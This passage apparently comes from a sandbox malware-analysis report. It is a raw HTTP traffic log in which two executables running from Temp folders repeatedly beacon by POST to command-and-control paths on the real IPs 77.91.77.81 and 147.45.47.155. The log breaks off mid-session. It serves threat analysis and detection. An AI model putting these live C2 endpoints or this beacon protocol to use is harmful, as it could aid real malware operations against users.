Jun 20, 2024 15:41:42.672045946 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:42.884097099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49924	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:39.225292921 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:39.907491922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:45.047807932 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:41:45.262923956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49925	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:45.369755983 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:46.085221052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:52.164407015 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:41:52.390227079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49926	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:49.795057058 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:50.460318089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:50.461146116 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:50.668098927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49927	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:52.503546000 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:53.220985889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:04.046577930 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:04.358436108 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:04.967673063 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:05.214945078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49928	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:04.997270107 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:05.688719034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:05.689521074 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:42:05.900876999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49929	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:05.333344936 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:06.033380985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:11.165193081 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:11.387901068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49930	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:11.286353111 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:11.974399090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:18.290523052 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:42:18.501661062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49931	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:16.035835981 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:16.746193886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:23.040287971 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:23.259295940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49932	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:23.150485039 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:23.845458984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:30.172492027 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:42:30.385088921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49933	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:23.371184111 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:24.048198938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:30.172631979 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:30.385626078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49934	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:30.505260944 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:31.211652040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:37.296971083 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:37.527487993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49935	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
